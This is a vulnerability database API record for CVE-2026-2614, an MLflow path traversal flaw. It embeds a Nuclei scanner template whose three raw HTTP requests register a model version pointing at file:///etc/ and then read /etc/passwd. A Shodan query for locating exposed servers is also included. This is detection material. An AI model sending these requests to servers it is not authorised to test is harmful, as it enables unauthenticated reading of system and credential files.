{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-2614/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-2614/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-2614/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-2614/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-2614/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-2614"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-2614"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.03608,
      "kev": false,
      "percentile": 0.88974
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-2614.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-2614\n\ninfo:\n  name: MLflow <= 3.9.0 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.\n  remediation: |\n    Upgrade to version 3.10.0 or later.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories\n    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a\n    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2614\n    epss-score: 0.03608\n    epss-percentile: 0.88974\n    cwe-id: CWE-22\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: mlflow\n    product: mlflow\n    shodan-query: title:\"MLflow\"\n  tags: cve,cve2026,mlflow,lfi,traversal,vkev\n\nvariables:\n  model: \"{{to_lower(rand_base(10))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\"}\n\n      - |\n        POST /api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\",\"source\":\"file:///etc/\",\"tags\":[{\"key\":\"mlflow.prompt.is_prompt\",\"value\":\"true\"}]}\n\n      - |\n        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c5f4f282a2130f05e9521bf1bf9542245b22d25c59ba2120b344ec51220647ac0220111ce50747a2f477a3e71ec10ff64beed9fd2aed2eaff0328a9837cb4b92908e:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-2614"
}